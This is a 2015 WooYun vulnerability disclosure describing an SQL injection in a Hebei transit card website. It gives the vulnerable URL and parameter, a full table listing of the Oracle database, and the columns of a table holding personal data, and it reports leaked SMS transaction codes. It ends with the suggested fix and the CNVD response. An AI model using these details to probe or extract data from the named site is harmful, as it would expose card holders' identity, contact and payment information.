当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100306

漏洞标题:某省一卡通漏洞泄露大量敏感信息(部分支付细节与短信口令泄漏)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-03-09 15:04

修复时间:2015-04-23 15:06

公开时间:2015-04-23 15:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-09: 细节已通知厂商并且等待厂商处理中
2015-03-13: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向核心白帽子及相关领域专家公开
2015-04-02: 细节向普通白帽子公开
2015-04-12: 细节向实习白帽子公开
2015-04-23: 细节向公众公开

简要描述:

RT

详细说明:

河北一卡通:http://www.966009.com
一处SQL注入漏洞
http://966009.com/CLIENT/newsshow/dotmap.aspx?dot_id=0215

漏洞证明:

注入可得当前数据库为CARD

back-end DBMS: Oracle
Database: CARD
+----------------------+---------+
| Table | Entries |
+----------------------+---------+
| WEBSERVICE_LOG | 144545 |
| SMSHISTORY | 39559 |
| CCBCARD | 17474 |
| YKT_CZ_RECORD | 15726 |
| VAR_LOG | 8752 |
| WEBNOTIFY_LOG | 7203 |
| CARD_HOLDER | 4920 |
| CARD_LIST | 3648 |
| DOT_IMGLIST | 1108 |
| CONSUME_DOT | 1031 |
| BUSINESS_TRADETYPE | 992 |
| BUSINESS | 939 |
| HOT_BUSINESS | 481 |
| DOT_TRADEBOUND | 347 |
| HUODONG1 | 283 |
| VAR_ROLECONFIG | 246 |
| TRADE_ORDER | 212 |
| DAKEHUGOUKA | 211 |
| XIANQU | 180 |
| VIP_USERDEPT | 148 |
| VIP_USER | 143 |
| VIP_USER_RELATION | 140 |
| PAYDOT | 128 |
| SYSTEM_MSG | 122 |
| CARD_MEMORY_ETC_USER | 105 |
| CARD_MEMORY_LY | 104 |
| VAR_PERSONNELRULE | 103 |
| VAR_MENU | 87 |
| SYSTEM_HELP | 77 |
| CARD_MEMORY_LY_USER | 63 |
| PWD_QUESTION | 59 |
| USER_BUSINESS | 53 |
| PRODUCT_LIST | 50 |
| BIGDISCOUNT | 48 |
| TRADE_BOUND | 48 |
| CARD_MEMORY_TK_USER | 43 |
| CARD_MEMORY_ETC | 41 |
| FRIENDS | 38 |
| TRADE_TYPE | 33 |
| CHANGEIMG | 31 |
| VAR_PERSONNELINFO | 30 |
| SIGN | 26 |
| SYSTEM_LINKS | 24 |
| CARD_MEMORY_TK | 20 |
| COMMENTS | 17 |
| USER_VOUCHER | 17 |
| HELP_TYPE | 14 |
| BRANCH | 13 |
| VAR_ROLE | 13 |
| CARD_MEMORY_TK2 | 12 |
| VAR_DEPT | 12 |
| CARD_MEMORY_TK_USER2 | 11 |
| CITY | 11 |
| PRODUCT_TYPE | 11 |
| APPLY_INFO | 8 |
| CUSTOMERHISTORY | 6 |
| IMAGELH | 6 |
| CARDLOG | 4 |
| CARDTYPE | 4 |
| ERROR | 4 |
| LATESTACT | 4 |
| PARVALUE | 4 |
| SCOREADV | 4 |
| VIP_RELATION_MAP | 4 |
| MSG_TYPE | 3 |
| ZHIFUCFG | 3 |
| ACTIVITY_INFO | 2 |
| SYSTEM_AD | 2 |
| BASEINFO | 1 |
| BLACKLIST | 1 |
| CHOUJIANG | 1 |
| FOBBIDENCARDSECTIONS | 1 |
| NEWCCBCARD | 1 |
| SEO | 1 |
| SYSTEM_VOTECFG | 1 |
| USER_IDENTITY_PHOTO | 1 |
| VOUCHER | 1 |
+----------------------+---------+


看到CCBCARD有近2W账户,信息很详细:

Table: CCBCARD
[17 columns]
+-------------+-----------+
| Column | Type |
+-------------+-----------+
| BIRTHDAY | NVARCHAR2 |
| CARDNUM | NVARCHAR2 |
| CARDTYPE | NVARCHAR2 |
| CULTURE | NVARCHAR2 |
| EMAIL | NVARCHAR2 |
| GENDER | NVARCHAR2 |
| HOMEADDRESS | NVARCHAR2 |
| IDNUM | NVARCHAR2 |
| INCOME | NVARCHAR2 |
| MOBILE | NVARCHAR2 |
| ONECARDNUM | NVARCHAR2 |
| PAPERTYPE | NVARCHAR2 |
| PHONE | NVARCHAR2 |
| PROFESSION | NVARCHAR2 |
| USERNAME | NVARCHAR2 |
| WORKPLACE | NVARCHAR2 |
| ZIPCODE | NVARCHAR2 |
+-------------+-----------+


SMSHISTORY泄露交易时短信口令有近4w条了,所以在交易时,发送验证码通过这里可以查看:

hb.jpg


敏感信息都打码了。

修复方案:

参数整型转换

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-03-13 17:27

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给分中心,由其后续协调网站管理单位处置。

最新状态:

暂无